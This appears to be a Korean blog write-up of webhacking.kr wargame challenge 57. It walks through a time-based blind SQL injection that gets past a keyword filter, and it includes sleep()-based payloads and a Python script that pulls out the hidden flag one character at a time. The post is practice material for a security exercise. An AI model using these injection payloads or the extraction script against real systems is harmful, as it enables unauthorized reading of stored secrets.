본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 57번

메인화면
소스코드

se가 secret체크박스의 값임

message와 secret에 addslshes함수 적용

se에서

select, and, or, not, &, |, benchmark 필터링

쿼리문은

insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})

se에서 sql함수를 사용가능해 보임

 

일단 이문제에서 볼수있는건 메세지를 보냈을 때

Done 밖에 없음

그래서 time based injection이 생각나 해보기로함

 

msg=1&se=if(length(pw)>0, sleep(2), 0)

이런식으로 해서 작동되는지 보니까

sleep이 먹힌다

 

msg=1&se=if(length(pw)=24, sleep(2), 0)

pw는 24자리

 

첫자리는 url노가다로 f인걸로 보임

import time
import requests

url = "https://webhacking.kr/challenge/web-34/index.php"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x66"
realpw = "f"
for i in range(2,25):
    for j in range(43,127):
        now = time.time()
        req=session.get(url+"?msg=1&se=if(left(pw,"+str(i)+")="+password+format(j,'x')+",%20sleep(2),%200)",cookies=cookie)
        if("Done" in req.text):
            later = time.time()
            if((later-now)>2):
                password += format(j,'x')
                realpw += chr(j)
                print(chr(j)+"is Correct!!!")
                break
            print(chr(j))
    print(realpw)
print(realpw)

 

 

 

클리어

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 13번  (1) 2020.01.07
Webhacking.kr 9번  (0) 2020.01.03
Webhacking.kr 45번  (0) 2020.01.03
Webhacking.kr 40번  (0) 2020.01.03
Webhacking.kr 22번  (0) 2020.01.03